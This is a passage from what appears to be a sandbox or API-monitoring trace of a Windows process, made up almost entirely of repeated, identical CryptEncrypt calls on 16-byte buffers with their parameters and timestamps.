pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.707] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.708] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.709] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.710] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.711] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.712] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, 